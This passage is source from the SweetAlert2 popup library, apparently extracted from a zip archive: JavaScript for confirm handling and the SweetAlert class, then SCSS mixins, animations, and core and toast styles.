  } else if (!instance.getInput().checkValidity()) {
    instance.enableButtons()
    instance.showValidationMessage(innerParams.validationMessage)
  } else {
    confirm(instance, innerParams, inputValue)
  }
}

const deny = (instance) => {
  instance.closePopup({ isDenied: true, value: false })
}

const succeedWith = (instance, value) => {
  instance.closePopup({ isConfirmed: true, value })
}

const confirm = (instance, innerParams, value) => {
  if (innerParams.showLoaderOnConfirm) {
    showLoading() // TODO: make showLoading an *instance* method
  }

  if (innerParams.preConfirm) {
    instance.resetValidationMessage()
    const preConfirmPromise = Promise.resolve().then(() => asPromise(
      innerParams.preConfirm(value, innerParams.validationMessage))
    )
    preConfirmPromise.then(
      (preConfirmValue) => {
        if (isVisible(getValidationMessage()) || preConfirmValue === false) {
          instance.hideLoading()
        } else {
          succeedWith(instance, typeof preConfirmValue === 'undefined' ? value : preConfirmValue)
        }
      }
    )
  } else {
    succeedWith(instance, value)
  }
}
PK"��\ntM?��
SweetAlert.jsnu�[���import { error } from './utils/utils.js'
import { DismissReason } from './utils/DismissReason.js'
import * as staticMethods from './staticMethods.js'
import * as instanceMethods from './instanceMethods.js'
import privateProps from './privateProps.js'

let currentInstance

class SweetAlert {
  constructor (...args) {
    // Prevent run in Node env
    if (typeof window === 'undefined') {
      return
    }

    // Check for the existence of Promise
    if (typeof Promise === 'undefined') {
      error('This package requires a Promise library, please include a shim to enable it in this browser (See: https://github.com/sweetalert2/sweetalert2/wiki/Migration-from-SweetAlert-to-SweetAlert2#1-ie-support)')
    }

    currentInstance = this

    const outerParams = Object.freeze(this.constructor.argsToParams(args))

    Object.defineProperties(this, {
      params: {
        value: outerParams,
        writable: false,
        enumerable: true,
        configurable: true
      }
    })

    const promise = this._main(this.params)
    privateProps.promise.set(this, promise)
  }

  // `catch` cannot be the name of a module export, so we define our thenable methods here instead
  then (onFulfilled) {
    const promise = privateProps.promise.get(this)
    return promise.then(onFulfilled)
  }

  finally (onFinally) {
    const promise = privateProps.promise.get(this)
    return promise.finally(onFinally)
  }
}

// Assign instance methods from src/instanceMethods/*.js to prototype
Object.assign(SweetAlert.prototype, instanceMethods)

// Assign static methods from src/staticMethods/*.js to constructor
Object.assign(SweetAlert, staticMethods)

// Proxy to instance methods to constructor, for now, for backwards compatibility
Object.keys(instanceMethods).forEach(key => {
  SweetAlert[key] = function (...args) {
    if (currentInstance) {
      return currentInstance[key](...args)
    }
  }
})

SweetAlert.DismissReason = DismissReason

SweetAlert.version = '10.3.5'

export default SweetAlert
PK"��\�b-%��sweetalert2.scssnu�[���// SweetAlert2
// github.com/sweetalert2/sweetalert2

@import 'scss/theming';
@import 'scss/polyfills';
@import 'scss/animations';

body {
  @include sweetalert2-body();
  @include sweetalert2-toasts-body();
}
PK"��\��*~��scss/_mixins.scssnu�[���@mixin border-radius($radius) {
    border-radius: $radius;
    -webkit-border-radius: $radius;
    -moz-border-radius: $radius;
}
@mixin input-placeholder {
    &.placeholder {
        @content;
    }
    &:-moz-placeholder {
        @content;
    }
    &::-moz-placeholder {
        @content;
    }
    &:-ms-input-placeholder {
        @content;
    }
    &::-webkit-input-placeholder {
        @content;
    }
}
@mixin transition($transition...) {
    -moz-transition: $transition;
    -o-transition: $transition;
    -webkit-transition: $transition;
    transition: $transition;
}
@mixin transition-property($property...) {
    -moz-transition-property: $property;
    -o-transition-property: $property;
    -webkit-transition-property: $property;
    transition-property: $property;
}
@mixin transition-duration($duration...) {
    -moz-transition-property: $duration;
    -o-transition-property: $duration;
    -webkit-transition-property: $duration;
    transition-property: $duration;
}
@mixin box-shadow($shadow...) {
    -webkit-box-shadow: $shadow;
    -moz-box-shadow: $shadow;
    box-shadow: $shadow;
}
@mixin transform($transforms) {
    -moz-transform: $transforms;
    -o-transform: $transforms;
    -ms-transform: $transforms;
    -webkit-transform: $transforms;
    transform: $transforms;
}
@mixin rotate ($deg) {
    @include transform(rotate(#{$deg}deg));
}
@mixin scale($scale) {
    @include transform(scale($scale));
}
@mixin translate ($x, $y) {
    @include transform(translate($x, $y));
}
@mixin translate3d ($x, $y, $z) {
    @include transform(translate3d($x, $y, $z));
}
@mixin skew ($x, $y) {
    @include transform(skew(#{$x}deg, #{$y}deg));
}
@mixin transform-origin ($origin) {
    moz-transform-origin: $origin;
    -o-transform-origin: $origin;
    -ms-transform-origin: $origin;
    -webkit-transform-origin: $origin;
    transform-origin: $origin;
}
@mixin flexbox() {
    display: -webkit-box;
    display: -moz-box;
    display: -ms-flexbox;
    display: -webkit-flex;
    display: flex;
}
@mixin flex($values) {
    -webkit-box-flex: $values;
    -moz-box-flex: $values;
    -webkit-flex: $values;
    -ms-flex: $values;
    flex: $values;
}
@mixin flex-direction($direction) {
    -webkit-flex-direction: $direction;
    -moz-flex-direction: $direction;
    -ms-flex-direction: $direction;
    flex-direction: $direction;
}
@mixin flex-wrap($wrap) {
    -webkit-flex-wrap: $wrap;
    -moz-flex-wrap: $wrap;
    -ms-flex-wrap: $wrap;
    flex-wrap: $wrap;
}
@mixin flex-flow($flow) {
    -webkit-flex-flow: $flow;
    -moz-flex-flow: $flow;
    -ms-flex-flow: $flow;
    flex-flow: $flow;
}
@mixin order($val) {
    -webkit-box-ordinal-group: $val;
    -moz-box-ordinal-group: $val;
    -ms-flex-order: $val;
    -webkit-order: $val;
    order: $val;
}
@mixin flex-grow($grow) {
    -webkit-flex-grow: $grow;
    -moz-flex-grow: $grow;
    -ms-flex-grow: $grow;
    flex-grow: $grow;
}
@mixin flex-shrink($shrink) {
    -webkit-flex-shrink: $shrink;
    -moz-flex-shrink: $shrink;
    -ms-flex-shrink: $shrink;
    flex-shrink: $shrink;
}
@mixin flex-basis($width) {
    -webkit-flex-basis: $width;
    -moz-flex-basis: $width;
    -ms-flex-basis: $width;
    flex-basis: $width;
}
@mixin justify-content($justify) {
    -webkit-justify-content: $justify;
    -moz-justify-content: $justify;
    -ms-justify-content: $justify;
    justify-content: $justify;
    -ms-flex-pack: $justify;
}
@mixin align-content($align) {
    -webkit-align-content: $align;
    -moz-align-content: $align;
    -ms-align-content: $align;
    align-content: $align;
}
@mixin align-items($align) {
    -webkit-align-items: $align;
    -moz-align-items: $align;
    -ms-align-items: $align;
    align-items: $align;
}
@mixin align-self($align) {
    -webkit-align-self: $align;
    -moz-align-self: $align;
    -ms-align-self: $align;
    align-self: $align;
}
@mixin pseudo-element($element) {
    &:#{$element}, &::#{$element} {
        @content;
    }
}
$breakpoints: ( "phone" : 400px, "phone-wide" : 480px, "phablet" : 560px, "tablet-small": 640px, "tablet" : 768px, "tablet-wide" : 1024px, "desktop" : 1248px, "desktop-wide": 1440px);
@mixin mq($width, $type: min) {
    @if map_has_key($breakpoints, $width) {
        $width: map_get($breakpoints, $width);
        @if $type==max {
            $width: $width - 1px;
        }
        @media only screen and (#{$type}-width: $width) {
            @content;
        }
    }
}
@mixin theme-keyframes($name) {
    @-webkit-keyframes #{$name} {
        @content;
    }
    @keyframes #{$name} {
        @content;
    }
}PK"��\8���44scss/_toasts-animations.scssnu�[���// Animations
@keyframes swal2-toast-show {
  0% {
    transform: translateY(-.625em) rotateZ(2deg);
  }

  33% {
    transform: translateY(0) rotateZ(-2deg);
  }

  66% {
    transform: translateY(.3125em) rotateZ(2deg);
  }

  100% {
    transform: translateY(0) rotateZ(0deg);
  }
}

@keyframes swal2-toast-hide {
  100% {
    transform: rotateZ(1deg);
    opacity: 0;
  }
}

@keyframes swal2-toast-animate-success-line-tip {
  0% {
    top: .5625em;
    left: .0625em;
    width: 0;
  }

  54% {
    top: .125em;
    left: .125em;
    width: 0;
  }

  70% {
    top: .625em;
    left: -.25em;
    width: 1.625em;
  }

  84% {
    top: 1.0625em;
    left: .75em;
    width: .5em;
  }

  100% {
    top: 1.125em;
    left: .1875em;
    width: .75em;
  }
}

@keyframes swal2-toast-animate-success-line-long {
  0% {
    top: 1.625em;
    right: 1.375em;
    width: 0;
  }

  65% {
    top: 1.25em;
    right: .9375em;
    width: 0;
  }

  84% {
    top: .9375em;
    right: 0;
    width: 1.125em;
  }

  100% {
    top: .9375em;
    right: .1875em;
    width: 1.375em;
  }
}
PK"��\���ddscss/_body.scssnu�[���@import 'toasts-body';

@mixin sweetalert2-body() {
  &.swal2-shown {
    @include not('.swal2-no-backdrop', '.swal2-toast-shown') {
      overflow: hidden; // not overflow-y because of Sarari, #1253
    }
  }

  &.swal2-height-auto {
    height: auto !important; // #781 #1107
  }

  &.swal2-no-backdrop {
    .swal2-container {
      top: auto;
      right: auto;
      bottom: auto;
      left: auto;
      max-width: calc(100% - #{$swal2-container-padding} * 2);
      background-color: transparent !important;

      & > .swal2-modal {
        box-shadow: 0 0 10px $swal2-backdrop;
      }

      &.swal2-top {
        top: 0;
        left: 50%;
        transform: translateX(-50%);
      }

      &.swal2-top-start,
      &.swal2-top-left {
        top: 0;
        left: 0;
      }

      &.swal2-top-end,
      &.swal2-top-right {
        top: 0;
        right: 0;
      }

      &.swal2-center {
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
      }

      &.swal2-center-start,
      &.swal2-center-left {
        top: 50%;
        left: 0;
        transform: translateY(-50%);
      }

      &.swal2-center-end,
      &.swal2-center-right {
        top: 50%;
        right: 0;
        transform: translateY(-50%);
      }

      &.swal2-bottom {
        bottom: 0;
        left: 50%;
        transform: translateX(-50%);
      }

      &.swal2-bottom-start,
      &.swal2-bottom-left {
        bottom: 0;
        left: 0;
      }

      &.swal2-bottom-end,
      &.swal2-bottom-right {
        right: 0;
        bottom: 0;
      }
    }
  }

  @media print {
    &.swal2-shown {
      @include not('.swal2-no-backdrop', '.swal2-toast-shown') {
        overflow-y: scroll !important;

        > [aria-hidden='true'] {
          display: none;
        }

        .swal2-container {
          position: static !important;
        }
      }
    }
  }
}
PK"��\6����scss/_animations.scssnu�[���@import 'toasts-animations';

// Appearance animation
@keyframes swal2-show {
  0% {
    transform: scale(.7);
  }

  45% {
    transform: scale(1.05);
  }

  80% {
    transform: scale(.95);
  }

  100% {
    transform: scale(1);
  }
}

// Disppearance animation
@keyframes swal2-hide {
  0% {
    transform: scale(1);
    opacity: 1;
  }

  100% {
    transform: scale(.5);
    opacity: 0;
  }
}

// Success icon animations
@keyframes swal2-animate-success-line-tip {
  0% {
    top: 1.1875em;
    left: .0625em;
    width: 0;
  }

  54% {
    top: 1.0625em;
    left: .125em;
    width: 0;
  }

  70% {
    top: 2.1875em;
    left: -.375em;
    width: 3.125em;
  }

  84% {
    top: 3em;
    left: 1.3125em;
    width: 1.0625em;
  }

  100% {
    top: 2.8125em;
    left: .8125em;
    width: 1.5625em;
  }
}

@keyframes swal2-animate-success-line-long {
  0% {
    top: 3.375em;
    right: 2.875em;
    width: 0;
  }

  65% {
    top: 3.375em;
    right: 2.875em;
    width: 0;
  }

  84% {
    top: 2.1875em;
    right: 0;
    width: 3.4375em;
  }

  100% {
    top: 2.375em;
    right: .5em;
    width: 2.9375em;
  }
}

@keyframes swal2-rotate-success-circular-line {
  0% {
    transform: rotate(-45deg);
  }

  5% {
    transform: rotate(-45deg);
  }

  12% {
    transform: rotate(-405deg);
  }

  100% {
    transform: rotate(-405deg);
  }
}

// Error icon animations
@keyframes swal2-animate-error-x-mark {
  0% {
    margin-top: 1.625em;
    transform: scale(.4);
    opacity: 0;
  }

  50% {
    margin-top: 1.625em;
    transform: scale(.4);
    opacity: 0;
  }

  80% {
    margin-top: -.375em;
    transform: scale(1.15);
  }

  100% {
    margin-top: 0;
    transform: scale(1);
    opacity: 1;
  }
}

@keyframes swal2-animate-error-icon {
  0% {
    transform: rotateX(100deg);
    opacity: 0;
  }

  100% {
    transform: rotateX(0deg);
    opacity: 1;
  }
}

@keyframes swal2-rotate-loading {
  0% {
    transform: rotate(0deg);
  }

  100% {
    transform: rotate(360deg);
  }
}
PK"��\�ҽWscss/_polyfills.scssnu�[���@import '../variables';

// Microsoft Edge
@supports (-ms-accelerator: true) {
  .swal2-range {
    input {
      width: 100% !important;
    }

    output {
      display: none;
    }
  }
}

// IE11
@media all and (-ms-high-contrast: none),
  (-ms-high-contrast: active) {
  .swal2-range {
    input {
      width: 100% !important;
    }

    output {
      display: none;
    }
  }
}

// Firefox
@-moz-document url-prefix() {
  .swal2-close {
    &:focus {
      outline: 2px solid $swal2-outline-color;
    }
  }
}
PK"��\����@A@Ascss/_core.scssnu�[���.swal2-container {
  // centering
  display: flex;
  position: fixed;
  z-index: 1060;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  flex-direction: row;
  align-items: center;
  justify-content: center;
  padding: $swal2-container-padding;
  overflow-x: hidden;
  transition: $swal2-backdrop-transition;

  // sweetalert2/issues/905
  -webkit-overflow-scrolling: touch;

  &.swal2-backdrop-show,
  &.swal2-noanimation {
    background: $swal2-backdrop;
  }

  &.swal2-backdrop-hide {
    background: transparent !important;
  }

  &.swal2-top {
    align-items: flex-start;
  }

  &.swal2-top-start,
  &.swal2-top-left {
    align-items: flex-start;
    justify-content: flex-start;
  }

  &.swal2-top-end,
  &.swal2-top-right {
    align-items: flex-start;
    justify-content: flex-end;
  }

  &.swal2-center {
    align-items: center;
  }

  &.swal2-center-start,
  &.swal2-center-left {
    align-items: center;
    justify-content: flex-start;
  }

  &.swal2-center-end,
  &.swal2-center-right {
    align-items: center;
    justify-content: flex-end;
  }

  &.swal2-bottom {
    align-items: flex-end;
  }

  &.swal2-bottom-start,
  &.swal2-bottom-left {
    align-items: flex-end;
    justify-content: flex-start;
  }

  &.swal2-bottom-end,
  &.swal2-bottom-right {
    align-items: flex-end;
    justify-content: flex-end;
  }

  &.swal2-bottom > :first-child,
  &.swal2-bottom-start > :first-child,
  &.swal2-bottom-left > :first-child,
  &.swal2-bottom-end > :first-child,
  &.swal2-bottom-right > :first-child {
    margin-top: auto;
  }

  &.swal2-grow-fullscreen > .swal2-modal {
    display: flex !important;
    flex: 1;
    align-self: stretch;
    justify-content: center;
  }

  &.swal2-grow-row > .swal2-modal {
    display: flex !important;
    flex: 1;
    align-content: center;
    justify-content: center;
  }

  &.swal2-grow-column {
    flex: 1;
    flex-direction: column;

    &.swal2-top,
    &.swal2-center,
    &.swal2-bottom {
      align-items: center;
    }

    &.swal2-top-start,
    &.swal2-center-start,
    &.swal2-bottom-start,
    &.swal2-top-left,
    &.swal2-center-left,
    &.swal2-bottom-left {
      align-items: flex-start;
    }

    &.swal2-top-end,
    &.swal2-center-end,
    &.swal2-bottom-end,
    &.swal2-top-right,
    &.swal2-center-right,
    &.swal2-bottom-right {
      align-items: flex-end;
    }

    & > .swal2-modal {
      display: flex !important;
      flex: 1;
      align-content: center;
      justify-content: center;
    }
  }

  &.swal2-no-transition {
    transition: none !important;
  }

  @include not('.swal2-top',
  '.swal2-top-start',
  '.swal2-top-end',
  '.swal2-top-left',
  '.swal2-top-right',
  '.swal2-center-start',
  '.swal2-center-end',
  '.swal2-center-left',
  '.swal2-center-right',
  '.swal2-bottom',
  '.swal2-bottom-start',
  '.swal2-bottom-end',
  '.swal2-bottom-left',
  '.swal2-bottom-right',
  '.swal2-grow-fullscreen') {
    & > .swal2-modal {
      margin: auto;
    }
  }

  @include ie {
    .swal2-modal {
      margin: 0 !important;
    }
  }
}

.swal2-popup {
  display: none;
  position: relative;
  box-sizing: border-box;
  flex-direction: column;
  justify-content: center;
  width: $swal2-width;
  max-width: 100%;
  padding: $swal2-padding;
  border: $swal2-border;
  border-radius: $swal2-border-radius;
  background: $swal2-background;
  font-family: $swal2-font;
  font-size: $swal2-font-size;

  &:focus {
    outline: none;
  }

  &.swal2-loading {
    overflow-y: hidden;
  }
}

.swal2-header {
  display: flex;
  flex-direction: column;
  align-items: center;
  padding: $swal2-header-padding;
}

.swal2-title {
  position: relative;
  max-width: 100%;
  margin: $swal2-title-margin;
  padding: 0;
  color: $swal2-title-color;
  font-size: $swal2-title-font-size;
  font-weight: 600;
  text-align: center;
  text-transform: none;
  word-wrap: break-word;
}

.swal2-actions {
  display: flex;
  z-index: 1; // prevent sucess icon from overlapping buttons
  box-sizing: border-box;
  flex-wrap: $swal2-actions-flex-wrap;
  align-items: $swal2-actions-align-items;
  justify-content: $swal2-actions-justify-content;
  width: $swal2-actions-width;
  margin: $swal2-actions-margin;
  padding: $swal2-actions-padding;

  &:not(.swal2-loading) {
    .swal2-styled {
      &[disabled] {
        opacity: .4;
      }

      &:hover {
        background-image: linear-gradient($swal2-button-darken-hover, $swal2-button-darken-hover);
      }

      &:active {
        background-image: linear-gradient($swal2-button-darken-active, $swal2-button-darken-active);
      }
    }
  }
}

.swal2-loader {
  display: none;
  align-items: $swal2-loader-align-items;
  justify-content: $swal2-loader-justify-content;
  width: $swal2-loader-width;
  height: $swal2-loader-height;
  margin: $swal2-loader-margin;
  animation: $swal2-loader-animation;
  border-width: $swal2-loader-border-width;
  border-style: $swal2-loader-border-style;
  border-radius: $swal2-loader-border-radius;
  border-color: $swal2-loader-border-color;
}

.swal2-styled {
  margin: .3125em;
  padding: .625em 2em;
  box-shadow: none;
  font-weight: 500;

  &:not([disabled]) {
    cursor: pointer;
  }

  &.swal2-confirm {
    order: $swal2-confirm-button-order;
    border: $swal2-confirm-button-border;
    border-radius: $swal2-confirm-button-border-radius;
    background: initial;
    background-color: $swal2-confirm-button-background-color;
    color: $swal2-confirm-button-color;
    font-size: $swal2-confirm-button-font-size;
  }

  &.swal2-deny {
    order: $swal2-deny-button-order;
    border: $swal2-deny-button-border;
    border-radius: $swal2-deny-button-border-radius;
    background: initial;
    background-color: $swal2-deny-button-background-color;
    color: $swal2-deny-button-color;
    font-size: $swal2-deny-button-font-size;
  }

  &.swal2-cancel {
    order: $swal2-cancel-button-order;
    border: $swal2-cancel-button-border;
    border-radius: $swal2-cancel-button-border-radius;
    background: initial;
    background-color: $swal2-cancel-button-background-color;
    color: $swal2-cancel-button-color;
    font-size: $swal2-cancel-button-font-size;
  }

  &:focus {
    outline: $swal2-button-focus-outline;
    background-color: $swal2-button-focus-background-color;
    box-shadow: $swal2-button-focus-box-shadow;
  }

  &::-moz-focus-inner {
    border: 0;
  }
}

.swal2-footer {
  justify-content: center;
  margin: $swal2-footer-margin;
  padding: $swal2-footer-padding;
  border-top: 1px solid $swal2-footer-border-color;
  color: $swal2-footer-color;
  font-size: $swal2-footer-font-size;
}

.swal2-timer-progress-bar-container {
  position: absolute;
  right: 0;
  bottom: 0;
  left: 0;
  height: $swal2-timer-progress-bar-height;
  overflow: hidden;
  border-bottom-right-radius: $swal2-border-radius;
  border-bottom-left-radius: $swal2-border-radius;
}

.swal2-timer-progress-bar {
  width: 100%;
  height: $swal2-timer-progress-bar-height;
  background: $swal2-timer-progress-bar-background;
}

.swal2-image {
  max-width: 100%;
  margin: $swal2-image-margin;
}

.swal2-close {
  position: $swal2-close-button-position;
  z-index: 2; // sweetalert2/issues/1617
  top: $swal2-close-button-gap;
  right: $swal2-close-button-gap;
  align-items: $swal2-close-button-align-items;
  justify-content: $swal2-close-button-justify-content;
  width: $swal2-close-button-width;
  height: $swal2-close-button-height;
  padding: 0;
  overflow: hidden;
  transition: $swal2-close-button-transition;
  border: $swal2-close-button-border;
  border-radius: $swal2-close-button-border-radius;
  outline: $swal2-close-button-outline;
  background: $swal2-close-button-background;
  color: $swal2-close-button-color;
  font-family: $swal2-close-button-font-family;
  font-size: $swal2-close-button-font-size;
  line-height: $swal2-close-button-line-height;
  cursor: pointer;

  &:hover {
    transform: $swal2-close-button-hover-transform;
    background: $swal2-close-button-hover-background;
    color: $swal2-close-button-hover-color;
  }

  &::-moz-focus-inner {
    border: 0;
  }
}

.swal2-content {
  z-index: 1; // prevent sucess icon overlapping the content
  justify-content: $swal2-content-justify-content;
  margin: $swal2-content-margin;
  padding: $swal2-content-padding;
  color: $swal2-content-color;
  font-size: $swal2-content-font-size;
  font-weight: $swal2-content-font-weight;
  line-height: $swal2-content-line-height;
  text-align: $swal2-content-text-align;
  word-wrap: $swal2-content-word-wrap;
}

.swal2-input,
.swal2-file,
.swal2-textarea,
.swal2-select,
.swal2-radio,
.swal2-checkbox {
  margin: $swal2-input-margin;
}

.swal2-input,
.swal2-file,
.swal2-textarea {
  box-sizing: border-box;
  width: $swal2-input-width;
  transition: $swal2-input-transition;
  border: $swal2-input-border;
  border-radius: $swal2-input-border-radius;
  background: $swal2-input-background;
  box-shadow: $swal2-input-box-shadow;
  color: $swal2-input-color;
  font-size: $swal2-input-font-size;

  &.swal2-inputerror {
    border-color: $swal2-error !important;
    box-shadow: 0 0 2px $swal2-error !important;
  }

  &:focus {
    border: $swal2-input-focus-border;
    outline: $swal2-input-focus-outline;
    box-shadow: $swal2-input-focus-box-shadow;
  }

  &::placeholder {
    color: lighten($swal2-black, 80);
  }
}

.swal2-range {
  margin: $swal2-input-margin;
  background: $swal2-background;

  input {
    width: 80%;
  }

  output {
    width: 20%;
    color: $swal2-input-color;
    font-weight: 600;
    text-align: center;
  }

  input,
  output {
    height: $swal2-input-height;
    padding: 0;
    font-size: $swal2-input-font-size;
    line-height: $swal2-input-height;
  }
}

.swal2-input {
  height: $swal2-input-height;
  padding: $swal2-input-padding;

  &[type='number'] {
    max-width: 10em;
  }
}

.swal2-file {
  background: $swal2-input-background;
  font-size: $swal2-input-font-size;
}

.swal2-textarea {
  height: $swal2-textarea-height;
  padding: $swal2-textarea-padding;
}

.swal2-select {
  min-width: 50%;
  max-width: 100%;
  padding: .375em .625em;
  background: $swal2-input-background;
  color: $swal2-input-color;
  font-size: $swal2-input-font-size;
}

.swal2-radio,
.swal2-checkbox {
  align-items: center;
  justify-content: center;
  background: $swal2-background;
  color: $swal2-input-color;

  label {
    margin: 0 .6em;
    font-size: $swal2-input-font-size;
  }

  input {
    margin: 0 .4em;
  }
}

.swal2-validation-message {
  display: none;
  align-items: center;
  justify-content: $swal2-validation-message-justify-content;
  padding: $swal2-validation-message-padding;
  overflow: hidden;
  background: $swal2-validation-message-background;
  color: $swal2-validation-message-color;
  font-size: $swal2-validation-message-font-size;
  font-weight: $swal2-validation-message-font-weight;

  &::before {
    content: '!';
    display: inline-block;
    width: 1.5em;
    min-width: 1.5em;
    height: 1.5em;
    margin: 0 .625em;
    zoom: $swal2-validation-message-icon-zoom;
    border-radius: 50%;
    background-color: $swal2-validation-message-icon-background;
    color: $swal2-validation-message-icon-color;
    font-weight: 600;
    line-height: 1.5em;
    text-align: center;
  }
}

.swal2-icon {
  position: relative;
  box-sizing: content-box;
  justify-content: center;
  width: $swal2-icon-size;
  height: $swal2-icon-size;
  margin: $swal2-icon-margin;
  zoom: $swal2-icon-zoom;
  border: .25em solid transparent;
  border-radius: 50%;
  font-family: $swal2-icon-font-family;
  line-height: $swal2-icon-size;
  cursor: default;
  user-select: none;

  .swal2-icon-content {
    display: flex;
    align-items: center;
    font-size: 3.75em;
  }

  &.swal2-error {
    border-color: $swal2-error;
    color: $swal2-error;

    .swal2-x-mark {
      position: relative;
      flex-grow: 1;
    }

    [class^='swal2-x-mark-line'] {
      display: block;
      position: absolute;
      top: 2.3125em;
      width: 2.9375em;
      height: .3125em;
      border-radius: .125em;
      background-color: $swal2-error;

      &[class$='left'] {
        left: 1.0625em;
        transform: rotate(45deg);
      }

      &[class$='right'] {
        right: 1em;
        transform: rotate(-45deg);
      }
    }

    // Error icon animation
    &.swal2-icon-show {
      @if $swal2-icon-animations {
        animation: swal2-animate-error-icon .5s;

        .swal2-x-mark {
          animation: swal2-animate-error-x-mark .5s;
        }
      }
    }
  }

  &.swal2-warning {
    border-color: lighten($swal2-warning, 7);
    color: $swal2-warning;
  }

  &.swal2-info {
    border-color: lighten($swal2-info, 20);
    color: $swal2-info;
  }

  &.swal2-question {
    border-color: lighten($swal2-question, 20);
    color: $swal2-question;
  }

  &.swal2-success {
    border-color: $swal2-success;
    color: $swal2-success;

    [class^='swal2-success-circular-line'] {
      // Emulate moving circular line
      position: absolute;
      width: 3.75em;
      height: 7.5em;
      transform: rotate(45deg);
      border-radius: 50%;

      &[class$='left'] {
        top: -.4375em;
        left: -2.0635em;
        transform: rotate(-45deg);
        transform-origin: 3.75em 3.75em;
        border-radius: 7.5em 0 0 7.5em;
      }

      &[class$='right'] {
        top: -.6875em;
        left: 1.875em;
        transform: rotate(-45deg);
        transform-origin: 0 3.75em;
        border-radius: 0 7.5em 7.5em 0;
      }
    }

    .swal2-success-ring {
      // Ring
      position: absolute;
      z-index: 2;
      top: -.25em;
      left: -.25em;
      box-sizing: content-box;
      width: 100%;
      height: 100%;
      border: .25em solid $swal2-success-border;
      border-radius: 50%;
    }

    .swal2-success-fix {
      // Hide corners left from animation
      position: absolute;
      z-index: 1;
      top: .5em;
      left: 1.625em;
      width: .4375em;
      height: 5.625em;
      transform: rotate(-45deg);
    }

    [class^='swal2-success-line'] {
      display: block;
      position: absolute;
      z-index: 2;
      height: .3125em;
      border-radius: .125em;
      background-color: $swal2-success;

      &[class$='tip'] {
        top: 2.875em;
        left: .8125em;
        width: 1.5625em;
        transform: rotate(45deg);
      }

      &[class$='long'] {
        top: 2.375em;
        right: .5em;
        width: 2.9375em;
        transform: rotate(-45deg);
      }
    }

    // Success icon animation
    &.swal2-icon-show {
      @if $swal2-icon-animations {
        .swal2-success-line-tip {
          animation: swal2-animate-success-line-tip .75s;
        }

        .swal2-success-line-long {
          animation: swal2-animate-success-line-long .75s;
        }

        .swal2-success-circular-line-right {
          animation: swal2-rotate-success-circular-line 4.25s ease-in;
        }
      }
    }
  }
}

.swal2-progress-steps {
  align-items: center;
  margin: $swal2-progress-steps-margin;
  padding: $swal2-progress-steps-padding;
  background: $swal2-progress-steps-background;
  font-weight: $swal2-progress-steps-font-weight;

  li {
    display: inline-block;
    position: relative;
  }

  .swal2-progress-step {
    z-index: 20;
    width: $swal2-progress-step-width;
    height: $swal2-progress-step-height;
    border-radius: $swal2-progress-step-border-radius;
    background: $swal2-active-step-background;
    color: $swal2-active-step-color;
    line-height: $swal2-progress-step-height;
    text-align: center;

    &.swal2-active-progress-step {
      background: $swal2-active-step-background;

      ~ .swal2-progress-step {
        background: $swal2-progress-step-background;
        color: $swal2-progress-step-color;
      }

      ~ .swal2-progress-step-line {
        background: $swal2-progress-step-background;
      }
    }
  }

  .swal2-progress-step-line {
    z-index: 10;
    width: $swal2-progress-steps-distance;
    height: .4em;
    margin: 0 -1px;
    background: $swal2-active-step-background;
  }
}

// github.com/sweetalert2/sweetalert2/issues/268
[class^='swal2'] {
  -webkit-tap-highlight-color: transparent;
}

.swal2-show {
  animation: $swal2-show-animation;
}

.swal2-hide {
  animation: $swal2-hide-animation;
}

.swal2-noanimation {
  transition: none;
}

// Measure scrollbar width for padding body during modal show/hide
.swal2-scrollbar-measure {
  position: absolute;
  top: -9999px;
  width: 50px;
  height: 50px;
  overflow: scroll;
}

// Right-to-left support
.swal2-rtl {
  .swal2-close {
    right: auto;
    left: $swal2-close-button-gap;
  }

  .swal2-timer-progress-bar {
    right: 0;
    left: auto;
  }
}
PK"��\�Օ��scss/_toasts-body.scssnu�[���@mixin sweetalert2-toasts-body() {
  &.swal2-toast-shown {
    .swal2-container {
      background-color: transparent;

      &.swal2-top {
        top: 0;
        right: auto;
        bottom: auto;
        left: 50%;
        transform: translateX(-50%);
      }

      &.swal2-top-end,
      &.swal2-top-right {
        top: 0;
        right: 0;
        bottom: auto;
        left: auto;
      }

      &.swal2-top-start,
      &.swal2-top-left {
        top: 0;
        right: auto;
        bottom: auto;
        left: 0;
      }

      &.swal2-center-start,
      &.swal2-center-left {
        top: 50%;
        right: auto;
        bottom: auto;
        left: 0;
        transform: translateY(-50%);
      }

      &.swal2-center {
        top: 50%;
        right: auto;
        bottom: auto;
        left: 50%;
        transform: translate(-50%, -50%);
      }

      &.swal2-center-end,
      &.swal2-center-right {
        top: 50%;
        right: 0;
        bottom: auto;
        left: auto;
        transform: translateY(-50%);
      }

      &.swal2-bottom-start,
      &.swal2-bottom-left {
        top: auto;
        right: auto;
        bottom: 0;
        left: 0;
      }

      &.swal2-bottom {
        top: auto;
        right: auto;
        bottom: 0;
        left: 50%;
        transform: translateX(-50%);
      }

      &.swal2-bottom-end,
      &.swal2-bottom-right {
        top: auto;
        right: 0;
        bottom: 0;
        left: auto;
      }
    }
  }

  &.swal2-toast-column {
    .swal2-toast {
      flex-direction: column;
      align-items: stretch;

      .swal2-actions {
        flex: 1;
        align-self: stretch;
        height: 2.2em;
        margin-top: .3125em;
      }

      .swal2-loading {
        justify-content: center;
      }

      .swal2-input {
        height: 2em;
        margin: .3125em auto;
        font-size: $swal2-toast-input-font-size;
      }

      .swal2-validation-message {
        font-size: $swal2-toast-validation-font-size;
      }
    }
  }
}
PK"��\�g���scss/_theming.scssnu�[���// base file for including when performing theming
// doesn't include at-rules or root selectors (like body) which allows for more comprehensive extending

@import '../variables';
@import 'mixins';
@import 'toasts';
@import 'body';
@import 'core';
PK"��\O��+ppscss/_toasts.scssnu�[���.swal2-popup {
  &.swal2-toast {
    flex-direction: row;
    align-items: center;
    width: $swal2-toast-width;
    padding: $swal2-toast-padding;
    overflow-y: hidden;
    background: $swal2-toast-background;
    box-shadow: $swal2-toast-box-shadow;

    .swal2-header {
      flex-direction: row;
      padding: $swal2-toast-header-padding;
    }

    .swal2-title {
      flex-grow: 1;
      justify-content: flex-start;
      margin: $swal2-toast-title-margin;
      font-size: $swal2-toast-title-font-size;
    }

    .swal2-footer {
      margin: $swal2-toast-footer-margin;
      padding: $swal2-toast-footer-margin;
      font-size: $swal2-toast-footer-font-size;
    }

    .swal2-close {
      position: static;
      width: $swal2-toast-close-button-width;
      height: $swal2-toast-close-button-height;
      line-height: $swal2-toast-close-button-line-height;
    }

    .swal2-content {
      justify-content: flex-start;
      padding: $swal2-toast-content-padding;
      font-size: $swal2-toast-content-font-size;
    }

    .swal2-icon {
      width: 2em;
